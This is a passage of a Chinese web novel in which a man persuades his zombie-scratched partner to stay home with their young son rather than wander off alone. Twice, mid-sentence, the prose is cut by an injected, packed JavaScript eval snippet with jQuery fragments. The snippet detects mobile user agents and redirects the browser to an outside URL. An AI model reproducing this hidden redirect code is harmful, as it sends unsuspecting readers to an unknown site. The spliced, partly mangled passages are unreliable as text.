林早望着他,缓缓松开紧握的双手,挣扎的动作也慢慢停了下来。 算了,给傅骋咬一口也没事。 林早放弃挣扎,阖上双眼,任由傅骋将他抓过去,放任自己陷进更深的梦境里。 下一秒,一块冰冰凉凉的毛巾,贴在他的额头上。 林早倏地惊醒,从床上弹起来。 “啊!” 冬日里,林早出了一身冷汗,几乎浸透毛绒睡衣。 他整个人就像是从水里爬起来的一样,湿漉漉,汗津津。 林早揉了揉眼睛,打起精神,环顾四周。 这个时候,天光已经大亮,窗帘外有日光透进来。 墙上的时钟,时针明明白白指向数字十,已经是早上十点了。 “爸爸——” 耳边传来熟悉的声音,林早循声望去。 只见林小饱自己穿了外套,乖乖坐在他身边,手里拿着自己的懒羊羊小毛巾,地上还散落着他的玩具积木。 林早回过神来,连忙问:“小饱,你什么时候醒的?” 林小饱挺起小胸膛,仰起小脑袋,自信宣布:“我八点就醒啦!” “对不起,爸爸睡过头了。”林早吸了吸鼻子,“你饿不饿?爸爸去给你煮面条。” “不用啦。”林小饱道,“张爷爷给了我一个鸡腿吃。” “张爷爷?”林早心里一惊,“你给张爷爷开门了?” “没有啊。”林小饱摇摇头,“爸爸和我拉过钩,不能给任何人开门,谁都不行。我记得的。” “那……” “我待在家里,张爷爷敲窗户叫我,问我早上吃什么,我说爸爸还没起床,我还没吃饭呢。张爷爷就打了一个鸡腿,放在窗台上,让我自己拿。” “这样啊。” 林早松了口气,放下心来。 张爷爷本名张建军,就住在他们隔壁,开了一家小卖部维持生计,平时也会在自家院子里种点菜、养只鸡。 他无儿无女,很喜欢林小饱,平时对他也很关照,经常塞点虾条糖果给他吃。 变故发生之后,整条街都把自家门窗锁得紧紧的,不敢和外人接触。 林早有几次想找他问问情况,看他需要什么。 但是想想,张爷爷家里有菜有肉,贸然去找老人,反倒显得他心怀不轨,惦记老人的东西,容易吓到对方,也就算了。 没想到张爷爷主动来找林小饱。 自建房嘛,都是挨挨挤挤的。 张爷爷稍稍伸长手,是可以把东西放在他们家一楼的窗台上的。 林早抿了抿唇角,摸摸林小饱的脑袋:“那你有没有对张爷爷说‘谢谢’?” “当然有啦。”林小饱用力点头,“爸爸,我太饿了,就先吃了一点鸡腿。不过我还是有给你留噢。” 林早笑了笑:“全部吃掉也没关系啦,爸爸可以煮其他东西吃。” “不行。”林小饱正色道,“大爸爸说了,要留一点给爸爸吃。” “大爸爸?”林早不敢相信地睁圆眼睛,“他……他回来了?” “对呀,就是大爸爸帮我把鸡腿分成两半,让我留一半给爸爸。” 听见这话,林早忙不迭掀开被子,起身下床。 林小饱继续说:“但是大爸爸好奇怪啊,他都不跟我们一起睡觉。我和张爷爷说话的时候,他也躲在旁边不出来,说他在玩捉迷藏,不能让别人看见他。” “大爸爸才刚刚回来,就又要出去探险。我让他陪我玩小汽车,他也不陪我玩,说要出去打怪兽。” “大爸爸还让我不要告诉爸爸,他走了……” 林小饱掰着手指头,仔仔细细数着大爸爸奇怪的地方。 林早却没有心思再听下去,留下一句“小饱,你在房间里等爸爸”,就推开门,冲出房间。 他以为是梦! 他以为昨晚发生的一切,只是一场噩梦! 结果是真的! 昨晚傅骋真的回家了,还带了很多物资回来。 后来他发现傅骋很不对劲,手臂上还有伤。 然后……然后…… 不知道是他自己承受不住,还是傅骋把他打晕了。 他眼前一黑,昏了过去。 反正他失去了意识,陷入噩梦之中,被傅骋送回床上。 一直到刚才,小饱把他喊醒。 林早跑出房间,飞奔下楼。 在他睡着的时候,傅骋连夜把所有物资归置好了。 大米、蔬菜、水果,还有那辆皮卡车。 皮卡车静静地停在车库里,车里车外干干净净。 水迹未干,空气中浮动着清新的柑橘洗涤剂的气味。 所以,傅骋甚至抽出时间,把车给洗了一遍。 下次林早要用车,就可以直接用了。 傅骋这个……疯子!疯狗! 林早只匆匆扫了一眼,就绕过皮卡车,跑到卷帘门边。 他蹲下身,拿出钥匙,正准备开门。 下一秒,他又感觉到了不对劲。 林早不敢置信地抬起手,仔细观察。 ——钥匙变多了。 傅骋把车钥匙和门钥匙挂在一起,留给了他。 那颗巧克力糖,也被他当做钥匙扣,挂在了一起。 ——卷帘门底部的锁孔上,还多了一点油渍。 昨晚他抱怨卷帘门的锁很卡,所以傅骋往锁孔里灌了点机油,方便他以后进出。 傅骋知道他醒来以后,一定会跑下来。 所以他不怕林早找不到车钥匙,不怕林早吃不到巧克力糖。 傅骋把一切都安排好了。 他只怕林早开门关门的时候,被生锈的门锁妨碍,费不必要的力气,吃不必要的苦头。 傅骋的脑子里,装的都是什么? 马上就要变成丧尸了,他竟然还有心思给门锁上油? 林早心中震荡,一时间回不过神来,只是下意识用钥匙去戳锁孔。 “咔哒”一声,卷帘门打开。 林早反应过来,把门打开,跑到外面,大喊一声—— “傅骋!” 他们家的三层小楼,坐落在一条名为“幸福街”的街道上,周边都是自建房。 这道车库卷帘门,可以算是他们家的后门。 从后门出来,后面没有其他人家,只有一条小路、一条排水沟,还有一道高高的石砌围墙。 “傅骋!傅骋——” 林早扯开嗓子,又喊了两声。 可是烈日当空,寒风呼啸。 周围一丁点其他声音都没有。 原本住满了邻居的房子里,一点儿动静都没有。 原本对他有呼必应的傅骋,此刻也不见了踪影。 林早抬起头,环顾四周,只觉得日光在头顶盘旋,寒风将他裹挟。 四周安静得有些诡异,仿佛全世界只剩下他一个人。 强烈的不安涌上心头,林早有些慌张,不自觉攥紧双手,频频回头,望向卷帘门的方向,不断在心里思索着对策。 傅骋大概是已经走了。 他被丧尸抓伤,感染了丧尸病毒,马上就要变成丧尸了。 傅骋不想连累他和小饱,所以把家里的事情全部安排好,就离开了。 他有心躲避,谁也找不到他。 回去吧,就这样吧。 像电影里演的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920617|177063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桥段一样,他一个人带着孩子、带着爱人的遗愿活下去。 不……不行! 林早猝然回过神来,抬起手,拍了一下自己的脸颊。 不行!不要!不可以! 他不要演电影!不要演苦情桥段!不要把傅骋丢掉! 他不是电影里的主角!他就要和傅骋在一起!他们一家三口就要在一起! 就算变成丧尸,他们也要在一起! “傅骋?傅骋!” 林早抬起头,红了眼眶,语气里也带了哭腔。 “出来!我知道你没走!你肯定还在附近!” 傅骋这样在乎他和小饱,肯定不会一走了之。 他一定还躲在家附近的某个角落里,暗中保护他们。 “我让你马上出来!” “我数到三,你要是不出来,我就……我就……” 林早看向四周,跑回车库,抄起一把铁锤。 “我就把你的摩托车给砸了!” ——小小的威胁,完全无效。 “我就把你拍的那些碟片全部砸了!” ——中等的威胁,同样无效。 最后,林早抿了抿唇角,目光坚定,下定决心。 “我就带着林小饱再婚!” “傅骋,我早就受够你了!长得那么糙,身上也那么糙!” “我要找一个温文尔雅、细皮嫩肉的男人改嫁,让小饱喊他‘大爸爸’,我喊他……” 话音未落,高大凶悍的身影一跃而起,从围墙那边翻过来,猛扑上前,捂住林早的嘴巴,抱住林早,带着他滚进车库里。 男人焦急叮嘱的声音,在林早耳边响起。 “不许大喊大叫,丧尸都被你喊过来了!” 说完这句话,傅骋起身就要离开。 林早飞扑上前,抓住卷帘门,狠狠一拽。 “哐”的一声,卷帘门落下。 林早靠在门上,挡在傅骋面前,胸口起起伏伏。 打定主意,绝不让路。 他看过丧尸片。 他当然知道,丧尸听得见声音,会被声音吸引。 他当然也看见了,因为他的喊叫,已经有两三只丧尸,摇摇晃晃地朝这里走来。 他就是故意的,故意引傅骋出来。 瞧,傅骋这不是来了吗? 林早张开双臂,堵着门,微微扬起下巴,定定地看着他。 傅骋无路可走,对上他有恃无恐的眼神,才反应过来。 他被小枣算计了。 林早望着傅骋,发现他的面色比昨晚更加灰败,眼睛也更加猩红。 傅骋同样望着林早,看见他穿着睡衣,又没穿鞋子,和昨晚一模一样,还是不长记性,目光也越发沉了下去。 两个人就这样静静地望着对方,谁也没有开口。 僵持之中,那几只被林早吸引过来的丧尸,已经走到了门外。 声音消失,它们失去方向,拖着脚步,东嗅嗅,西闻闻,四处徘徊。 林早锁上卷帘门,把钥匙攥在自己手里,缓缓站起身来。 他走到车库里的货架前,拆开一卷鞭炮,摘下其中一颗。 前不久过年,过年当然是要放鞭炮的。 傅骋买了好几挂红鞭炮。 林早抓着鞭炮和打火机,踩着货架爬上去,站到车库里开得很高的小窗前。 他拉开窗扇,点燃鞭炮,往外一丢。 鞭炮在围墙外炸开,“嘭”的一声响。 几只丧尸再次被声音吸引,掉头离开。 林早可不傻。 在喊之前,他就想好了应对办法。 他不怕丧尸在附近徘徊,也不怕傅骋趁他不注意,再跑出去。 家门钥匙都在他手里,傅骋要出去,只能破门而出。 傅骋舍不得。 他可舍不得把老婆儿子放在这样危险的地方。 林早目送丧尸离开,把窗扇关上扣好,从货架上跳下来。 傅骋走到他身后,张开手臂,小心翼翼地护着他。 林早踉跄两步,被傅骋接住,回头看见他,顿时气不打一处来,提起拳头,照着他的胸膛,狠狠地捶了两下。 “混蛋!” 5. 第 5 章 5 “混蛋!” “傅骋,你混蛋!” “你是世界上最混蛋的混蛋!” 林早站在傅骋面前,胸口起伏,眼眶通红。 他胡乱挥舞着双手双脚,用手打,用脚踢,把怨气和怒气都发泄在傅骋身上。 傅骋自知理亏,低着头,垂着眼,立在林早面前,不动如山。 他不敢反驳,不敢闪躲,更不敢握住林早的双手,制住他的动作。 他甚至刻意放松了身上肌肉,好让林早打得省力些,不至于过后手疼。 是他不好。 是他的错。 他认错认罚,任打任骂。 可林早本来就是幼儿园老师,平时温温柔柔的,手小力气小,打人一点不疼,也不怎么会说脏话,翻来覆去就是“混蛋”两个字。 傅骋抬眼,对上林早通红的双眼。 他身上不疼,反倒是被丧尸病毒感染的心脏,隐隐作痛起来。 不知道过了多久,林早打累了,甩甩手,抬起头,正好对上傅骋直勾勾的锐利眼神。 可是,林早把他眼里过盛的心疼与怜惜,错看成“不知悔改”和“下次还敢”。 林早顿时恼火起来,磨了磨后槽牙,一把拽住傅骋的衣领,飞扑上前,双手攀住傅骋的脖颈,张大嘴巴,作势要咬他。 傅骋一惊,猛然回过神来,迅速捂住林早的嘴巴,厉声喝止:“小枣!” 不能咬! 人被丧尸咬了,会变成丧尸。 人把丧尸咬了,肯定也会被感染! 他这个丧尸克制着不咬人,人反倒追着丧尸咬,是什么道理? 林早梗着脖子,脑袋顶着傅骋的手,像一头小牛,固执地寸寸逼近。 傅骋自然不可能让他得逞,紧紧捂着他的嘴,掐着他的脸蛋,把他往外推。 “小枣!林早!” 几声呵斥之后,林早还是被傅骋制住了。 傅骋一手搂着他的腰,一手按着他的后脑勺,把他牢牢按在自己怀里。 林早挣扎了两下,发现挣不开,也就不动了。 “不许咬我!不许这样,不许这样……” 傅骋心有余悸,说话之间,心脏狂跳,胸膛震动。 “小枣,不许犯傻。” “你才犯傻。”林早把脸埋在他怀里,闷闷地重复一遍,“傅骋,你才犯傻。” 傅骋揉揉他的脑袋,抬起头,望着顶上的窗子。 正准备开口,林早就抢先道:“你不许走,就留在家里。” 傅骋耐着性子,低声解释:“小枣,我被丧尸抓伤了。” “那又怎么样?”林早从他怀里挣脱出来,抬头看着他,“没有人说,只要被丧尸抓了,就一定会变成丧尸。” “也没有人说,变成丧尸以后,就一定会失去记忆,失去理智。” “更没有人说,绝对没有药能把丧尸变回人。” “这个东西才出来十多天,谁也说不准,它到底是怎么样的啊。” “对不对?” 傅骋抿了抿唇角,没有回答。 林早定定地望着他,继续质问:“从头到尾,都是你一个人在瞎想,对不对?” “你自己在心里编了一个苦情戏剧本,然后丢下我和小饱,就自顾自地开演了。” “你以为你是苦情戏里的主角攻,是‘哑巴新郎’,默默背负一切,远走他乡,对不对?” 听见他这样的形容,傅骋只觉得又好气又好笑。 “没有,小枣,我没有这样想。” “你就有!” 林早才不信他,继续追问:“那我问你,你就这样走了,以后怎么办?” “你变成丧尸,穿得破破烂烂的,和其他丧尸一起,到处乱走吗?” “万一你找不到吃的,饿死了怎么办?万一你找到了一个人,刚准备下口,就被他的同伙打了,怎么办?” 傅骋低声道:“不会的。就算变成丧尸,我也会是最厉害的丧尸。” “那我和小饱怎么办?” “虽然……虽然你昨晚带了很多物资回来,但是东西总有吃完的一天,到时候怎么办?” “小饱那么小,我还那么……那么柔弱,我们怎么办?” 傅骋毫不犹豫:“我变成丧尸,也去外面给你们找食物。好不好?” “不好。你都变成丧尸了,和其他丧尸一起走了,脑子都没了,哪里还会记得我们?” 林早深吸一口气,别过头去。 “看来我只能给小饱找一个后爸了,找一个比你强壮、比你有力气、比你有担当的男人。我看之前和你一起出车的小刘就不错。” “他没我高。” “那就小高,小高很高。” “他没我壮。” “那找小壮。” “他有老婆。” “新世界、新时代是一夫一妻制,他有一‘妻’,还缺一个——” 林早故意昂首挺胸,拍拍自己的小身板。 下一刻,傅骋冷下脸,打了一下林早的屁股。 “小枣,不许说这种话。” “那你留下来。” 林早拉住他的手,认真地看着他,表情严肃,目光坚定。 “留下来,和我、和小饱待在一起。” “就算你变成丧尸,我和小饱也会陪着你。我会做饭给你吃,小饱也会陪你玩玩具。” “我们一家三口一起努力,说不定可以唤起丧尸的理智,也可以等到病毒解药研制出来的那天。” “你答应过我和小饱的,我们一家三口要一直待在一起,永远不分开,你不能说话不算话。” 傅骋被林早亮晶晶的眼睛晃了一下,似乎有片刻的动摇。 “小枣,现在情况不一样。” “我知道!” “你会后悔的。” “我不会!” “你和小饱都会被我变成丧尸的!” “我不怕!” 林早红着眼眶,梗着脖子,坚定又执拗。 “我不怕!我宁愿我们一家三口全部变成丧尸,也不要你一个人在外面!” “外面那些丧尸……心肝脾肺肾都出来了,断手断脚,拖着肠子内脏到处走,我不要你也变成那样!” “就算变成丧尸,我们一家三口在家里变成丧尸,也比在外面的丧尸好!” “我宁愿被你咬,也不想被其他丧尸咬!” 傅骋心里震荡,怔愣良久,说不出话来。 “骋哥,我知道你在担心什么。” “你留在家里,我和小饱会特别特别小心的,绝对不会被你咬到的。” “你单独住一个房间,门窗锁好,钥匙我拿着,绝对不会把你放出来的。” “相信我,别担心,好不好?” 林早看着他,握着他的手,掰开他紧紧攥着的拳头,手指一根一根穿过他的指缝,坚定地与他十指相扣。 傅骋低声提醒:“小枣,这不是养狗。” “这当然不是养狗。我又不会给你挂链子,顶多给你戴一个止咬器,好不好?” 傅骋不语。 林早最后问:“谁是我们家学历最高的人?” 傅骋看着他,哑声道:“你。” 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该死的,他自己给自己挖坑了。 林早搂着林小饱,在小板凳上坐下,也不瞒着他,把目前的情况,仔仔细细解释给他听。 “大爸爸前几天出去探险,不小心……被怪兽抓伤了。” “啊?”林小饱张大嘴巴,“那怎么办?大爸爸会死掉吗?” “应该……不会。但是大爸爸已经感染了怪兽病毒,很可能会变成怪兽。” “不可以!我不要大爸爸变成怪兽!” “现在呢,大爸爸想去外面养伤,爸爸想让他留在家里,你支持谁?” “去外面养伤?”林小饱问,“去医院吗?还是去……” “不是去医院,就是去外面。”林早看着傅骋,磨了磨后槽牙,故意道,“像流浪的小狗一样,在外面乱跑乱逛,不肯回家!” “那怎么行?”林小饱震惊,“大爸爸会死掉的!” “没错。”林早点点头,“外面还有很多和大爸爸一样,感染了病毒的人,他们在一起,互相传染,打架斗殴,很快就死掉了!” “不行!”林小饱大声说,“我支持爸爸!大爸爸必须留在家里!我和爸爸会照顾……” 傅骋站直起来,回过头,走到林小饱面前:“大爸爸会变成怪兽,会发狂,会咬你们。” 林小饱小脸一白,没说完的话噎在喉咙里。 他低下头,捏捏自己的小胳膊小腿,若有所思。 傅骋继续道:“大爸爸去外面养病,也是一样的。大爸爸会保护好自己,不会死掉的。别担心。” 林小饱抬起头,看看林早,再看看傅骋,最后小心翼翼地开了口:“那……” 傅骋垂下眼,低声道:“站在大爸爸这边。大爸爸走了,你和爸爸就安全了,嗯?” 林早瞪着他,却同样道:“小饱,没关系,你做决定,爸爸和大爸爸都听你的。” “那……”林小饱小声说,“大爸爸能不能不要咬我的手?” 林早倏地转回头,傅骋也不敢置信地看着他。 林小饱捏捏自己圆鼓鼓的小肚子,仿佛下定了很大的决心。 “大爸爸咬我的肚子吧,我肚子上的肉比较多,被咬两口,也没关系。” 林早抱着林小饱,父子二人坐在一起,用他们那两双一模一样的大眼睛,可怜巴巴地望着傅骋。 ——留下来。 6. 第 6 章 6 两票对一票。 傅骋最终败下阵来,很轻很轻地点了一下头。 他同意留下。 林早和林小饱欢天喜地地击了个掌,就要上去收拾房间。 “骋哥,那你住小饱的房间。小饱,可以吗?大爸爸在你的房间里养伤,你和爸爸一起睡。” “我房间的床太小了,大爸爸躺不下。大爸爸是病号,应该睡大床。” “也可以,那走吧。” 林早牵着林小饱的手,刚准备上楼,傅骋就开了口。 “我不上楼。” “啊?”父子二人齐齐回头。 “我不去楼上住。”傅骋正色道,“你们两个在楼上住,我住车库杂物间。” 林早和林小饱异口同声:“那怎么可以?” “可以。”傅骋神色严肃,“丧尸会大喊大叫,发狂发疯,楼上门板薄,房间离得又近,不隔音,也不安全。总有一天,我会把门板撞开,进去咬你们。” “我住车库,你们住楼上。车库门、二楼和三楼的防盗门,还有房间门,拦在中间,你们才足够安全。” “可是……”林小饱小声反驳,“车库里面都没有床。” 傅骋定定地望着林早,林早思索片刻,最后点了点头。 他想方设法让傅骋留下来,为的可不是一家三口一起变丧尸。 “好。那你不许趁着我和小饱不注意,偷偷跑出去。” “嗯。”傅骋颔首。 “我和小饱去给你拿被子,再给你拿两套干净衣服。把你身上那件破烂脱下来。” 傅骋低下头,看着自己身上碎成布条的黑色背心。 丧尸病毒渐渐侵入他的身体,从昨晚开始,他就感觉不到冷热了。 为了行动方便,他把那件大衣脱下来丢了。 身上唯一一件工字背心,也在他翻.墙的时候,被墙上的石头勾破了。 林早一本正经地叮嘱他:“做丧尸也要爱干净、要体面,知道吗?” 傅骋扯起僵硬的嘴角,轻笑一声:“知道了,小枣老师。” “丧尸可以洗澡吗?你要不要趁着现在还有意识,去浴室里洗个澡?” “昨晚洗了。” “是吗?”林早惊奇。 “和车一起洗的。” 他站在皮卡车旁边,举起水管,对准自己,从头上浇下去。 车干净了,他也干净了。 林早鼓了鼓腮帮子:“一起洗澡,你和它有点暧昧噢。” 傅骋无奈,哭笑不得。 林早最后道:“那你把杂物间里的东西都搬出来,能搬多少就搬多少,搬不动的放着,我……我来试试。” “好。” 说完这话,林早就拉着林小饱上楼去了。 傅骋环顾四周。 小枣细胳膊细腿的,力气又小,他怎么可能把东西留给小枣? 他们家这栋自建房还挺大,光一层楼就有百来个平方。 当时是傅骋亲自买地,亲自招的施工队伍,亲自设计的楼层图纸。 连打地基用的钢筋,都是他自己扎的。 一楼前面是傅骋的修车店,后面就是车库。 车库很大,足够停下一辆皮卡车、一辆摩托车和一辆小电驴,旁边还隔出了一个四四方方的杂物间。 房间不大,就摆了两个大型铁质货架,一张不锈钢长桌。 傅骋的修车工具、林早的幼儿园手工作品,还有林小饱不玩的玩具,都堆在里面。 傅骋来到货架前,双手扶住货架两边的铁柱子,试着晃了晃。 不算太重,傅骋拽着铁柱子,直接把货架拖出去。 铁架子和水泥地面摩擦,发出刺耳的声响。 傅骋一口气把两个货架拖出去,靠墙放好,只留下那张不锈钢桌子。 他低下头,看了看自己的手掌。 不知道是不是他的错觉,他总觉得,被丧尸抓伤之后,他的力气…… “骋哥!” “大爸爸!” 正好这时,林早抱着被子,林小饱抱着枕头,嘿咻嘿咻地从楼上跑下来。 看见两个大货架都被他搬出去了,父子二人震惊得睁圆眼睛,张大嘴巴 傅骋几乎能看见他们红红的嗓子眼。 “骋哥,如果我没记错的话,这两个货架底下,应该是打了螺丝固定的吧?” “大爸爸,你是大力士吗?噢,不对,你现在是大怪兽。” 傅骋皱眉,后知后觉地反应过来:“不知道。” “算啦。” 林早和林小饱对视一眼,两个人抱着东西上前。 林早把被子铺在桌上,林小饱把枕头放上去。 林小饱问:“这里以后就是大爸爸的房间了吗?大爸爸以后就睡在这里了吗?” 林早点点头:“对呀。” “怪兽需要睡觉吗?” “应该……”林早想了想,“需要吧。” 傅骋立在门边,深吸一口气,抬起手,按住右臂伤口。 他习惯用疼痛让自己保持清醒。 “好了,这里现在是我的房间。你们两个不许聊了,快出去。” “不要。还有一件事情——” 林早拖着长音,举起手里的药瓶和绷带,回过头,朝傅骋扬了扬。 傅骋怔愣片刻,低头看去。 一家三口的目光,同时落在他的手臂上。 林早眼睛瞪得圆溜溜的:“谁让你抓伤口的?” 林小饱附和道:“大爸爸,你不乖!” 傅骋这才明白过来,他们是想给他包扎伤口。 他下意识拒绝:“不用,过几天就好了。东西留着,你和小饱以后用得上,别浪费。” 满大街的丧尸,哪有一个包扎伤口? “现在就用得上。” “大爸爸,受伤了,就要涂药。我这个三岁小孩都明白这个道理。” “就是!过来吧你!” 林早和林小饱走上前,一人一边,拽着傅骋的手,把他拉到床边,让他坐在上面。 林早低下头,拿着棉签,小心翼翼地清理傅骋伤口上的污血和腐肉。 林小饱双手捧着干净洁白的绷带,严肃认真,站在旁边,听候爸爸差遣。 “骋哥,现在会痛吗?” “不会,感觉不到。” “那我用酒精消毒了噢。” “嗯。” 爸爸和大爸爸一起说话,林小饱想了想,也凑上前,鼓励大爸爸。 “大爸爸,你比动画片里最勇敢的小狗还勇敢。” 傅骋皱起眉头,总觉得有哪里不对劲,但还是礼貌颔首:“谢谢。” 林小饱开心地扭了扭屁股:“不客气。” 消毒完毕,林早把用过的棉签酒精放到一边,从林小饱手里接过药瓶。 他拧开药瓶,从里面倒出雪白的伤药药粉,轻轻洒在傅骋的伤口上。 不错,这药不仅对人有用,对丧尸也有用。 血很快就止住了。 林早最后拿起绷带,仔仔细细地缠上去。 林小饱屏住呼吸,越凑越近:“爸爸,加油!大爸爸的命就掌握在你手里了!” 林早用手肘把他的小脑袋顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920619|177063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开:“好哇,你这个小崽崽,什么时候瞒着我们,偷偷看了‘给命文学’呀?” “唔?什么给命?”林小饱不懂,“动画片里都是这样说的啊。” 傅骋翘起嘴角,看着老婆儿子专注认真的神色,心里软得一塌糊涂。 是他不好,是他错了。 他从一开始就该小心小心,再小心些。 丧尸爆发,世界崩溃,他非但不能保护老婆儿子,反倒要老婆儿子照顾他。 傅骋别过头去,把面庞藏进黑暗之中,肩膀不自觉颤抖着。 这几天,他一直在和体内的丧尸病毒对抗。 他能感觉到,自己的肢体越来越僵硬,脑子越来越混乱。 他只能依靠重复默念自己要做的事情,支配自己的行动。 比如—— 搜集物资的时候,默念“食物”。 开车回来的时候,默念“回家”。 准备离开的时候,默念“出去”。 坚定信念,机械重复。 他就是这样熬过来的。 可是现在,他恐怕要熬不下去了。 他能感觉到,自己的躯体越来越不受控制,意识也正一点一点地被病毒侵蚀。 ——“骋哥,好啦。” 熟悉的轻快声音传来,傅骋猛然回神,抬起头,撞见林早眉眼弯弯的笑脸。 “包好以后,就不许再乱动了。我和小饱上去做饭,你休息一下,等一下给你送饭。就是我起得太迟了,可能要晚一点点。” “好……”傅骋顿了顿,嗓音是再也控制不住的低哑。 林早拉着林小饱,离开车库。 门关上的瞬间,傅骋陷入黑暗的前一刻。 他的最后一句话是—— “小枣,把门锁好。” 不,这不是最后一句。 话音落地,傅骋不知从哪里来的力气,猛地睁开眼睛,霍然站起身来。 他大步上前,隔着门,厉声道:“小枣、小饱,把门锁好!” “小枣,我不用吃饭,一定要送饭,就从窗户送!你人不许进来!” “把我的军大衣穿上,头盔帽子都戴上,菜刀和铁棍都要随身带着!” “该打我的时候就打我!不许心软!” “听到没有?听到没有!小枣!” 林早站在门外,脸庞同样藏在黑暗之中,看不清表情。 他只是轻轻地应了一声:“听到啦。骋哥,你放心。” 车库门关上落锁,傅骋再也支撑不住,后退着坐回床上,往后一仰,整个人靠在墙上。 日光从头顶的排气扇缝隙里照进来,落在他面前的地上,映出一片光影。 傅骋抹了把脸,捂住额头,只觉得伤口疼得厉害,烂到了最里面。 他抬起手,想把手臂上缠着的绷带扯下来,指尖却碰到了一个小小的结扣。 傅骋深吸一口气,强自忍耐着,仔细摸了摸。 是一个蝴蝶结。 应该是小枣给他绑的。 不能拆。 傅骋收回手,不再乱动。 他闭上眼睛,后脑抵在墙上,喉结剧烈滚动着。 他不知道,自己听老婆儿子的话,留在家里,究竟是不是正确的决定。 他也不知道,自己彻底变成丧尸以后,还能不能认出老婆儿子。 不过,留在温暖的家里,闻着熟悉的气息,在老婆儿子的陪伴下,变成丧尸。 听起来,也不错。 就是不知道,他一直在心里默念老婆儿子的名字,能不能变成一个—— 满脑子都是他们的丧尸。 7. 第 7 章 7 不管怎么样,傅骋总算是回家了。 悬在林早心上的那块大石头,也稍稍往下放了放。 林早打起精神,吃了邻居张爷爷送过来的半个鸡腿,又喝了半碗鸡汤。 简单垫垫肚子,恢复体力之后,他就围上小碎花围裙,哼起最爱的老歌,开始做饭。 “你问我爱你有多深,我爱你有几分。” “我的情也真,我的爱也真。” “月亮……”* 林早站在灶台前,抬头望了一眼窗外,改了歌词。 “太阳代表我的心。” 他哼着歌,从米缸里舀出一杯大米,倒进钵里,仔细淘洗两遍,放进电饭锅,按下开关。 煮饭大概需要二十分钟,这个时间,正好用来备菜。 林早找出傅骋昨晚带回来的半扇猪肉,割下一块肥瘦相间的五花,准备做红烧肉。 肉有了,再炒个青菜,保证营养均衡。 林早环顾四周,目光最后落在一箱生菜上。 生菜娇贵,不好存放,在箱子里磕磕碰碰,已经有点蔫吧了。 林早放下肉,在箱子前蹲下,挑拣一番,找出两颗看起来还算新鲜的。 其实也不要紧,傅骋带回来的菜都留着根,等下午什么时候,他找两个水盆,把生菜根浸在水里就好了。 林早点点头,把这件事情记在心里,正准备站起身。 下一秒,他感觉自己的屁股好像撞到了什么东西。 又下一秒,林小饱不满的声音响起—— “爸爸!你撞我!” 林早连忙回过头,在林小饱的屁股即将摔到地上,摔成八瓣的时候,一把揪住他的衣领,把他救回来。 林早被他吓了一跳,拍拍他的小屁股:“你这个小笨蛋!干嘛偷偷躲在爸爸屁股后面,还不发出声音?” “我……”林小饱站好了,瘪了瘪小嘴巴,小声反驳,“我就要跟着爸爸。” 林早张了张口,还想再说,但是看见他可怜巴巴的小表情,好像明白了什么。 虽然他们把发生的事情,都跟小饱说清楚了,但是…… 好好的大爸爸,忽然就要变成怪兽。 小饱心里一定接受不了,难免担心害怕。 正是因为没有安全感,所以他才想黏着爸爸。 看见爸爸背对着他,就悄悄走上来,想和爸爸黏在一起。 林小饱低着头,两只小手缠在一起,一只脚也在地上蹭来蹭去,磨来磨去的。 ——拜托拜托,不要赶他走。 林早叹了口气,在他面前蹲下,一脸认真:“好吧。对不起,小饱。” 听见爸爸道歉,林小饱悄悄抬起头,偷偷观察爸爸。 林早继续说:“爸爸不该说你是‘小笨蛋’。” 林小饱抬头50% “爸爸怕撞到你,让你受伤,所以才着急了一点。” 林小饱抬头100% “你能原谅爸爸吗?” 抬头200%! 林小饱昂首挺胸,又恢复了活力! “当然可以啦!你可是我爸爸耶!” 林早笑着,拉拉他的小手:“那你来帮爸爸择菜,好不好?” “好。” 林小饱把自己的小板凳搬过来,林早拿起一颗生菜。 父子二人围坐在菜盆边。 “我们要吃生菜的叶子,所以……” “我知道,大爸爸上次教过我!” 林小饱跃跃欲试。 “这次和上次不一样。这次我们不能掰太多,要留一点根。看,就像这样——” 林早掰下一片菜叶,演示给他看。 “嗯……”林小饱捧着脸,疑惑问,“为什么呢?” “因为只要留着根,爸爸就能种出吃不完的生菜。” “真的吗?”林小饱眼睛一亮,“这样的话,大爸爸就不用再去探险了!” 林早抿了抿唇瓣,点点头:“对呀。” “那爸爸为什么不早点种呢?” “因为……”林早顿了顿,“之前我们家里没有这个菜呀,这些都是大爸爸带回来的。” 林早把生菜递给他:“你来试试。” 林小饱小心翼翼地抓着比自己手还大的生菜,学着爸爸刚才的动作,掰下来一片。 “没错,就是这样,做得很棒。” 林早站起身来:“那你继续择菜,爸爸去把肉切一下。” “好。” 林早站在灶台边,林小饱坐在菜盆边。 父子二人安安静静的,都在为了午饭忙碌。 一时间,厨房里只有林早切肉焯水,起锅熬糖的声音。 四四方方的五花肉,在锅里噼里啪啦地响。 林早炒了一会儿,看见肉块染上糖色,闻到油脂香味,才接了半瓢清水,倒进锅里,转小火炖。 清水下锅,锅里噼啪响了一阵,很快就安静下来,变成闷闷的咕嘟声。 林小饱的声音再次响起:“爸爸。” “嗯?”林早一边往锅里加调料,一边温声问,“怎么啦?” 林小饱捏着手里的菜叶,鼓起勇气,小声问:“大爸爸……会不会死掉啊?” “什么?!”林早回过头,“当然不会!大爸爸只是会变成怪兽,怪兽那么高、那么壮,怎么可能会死掉?” 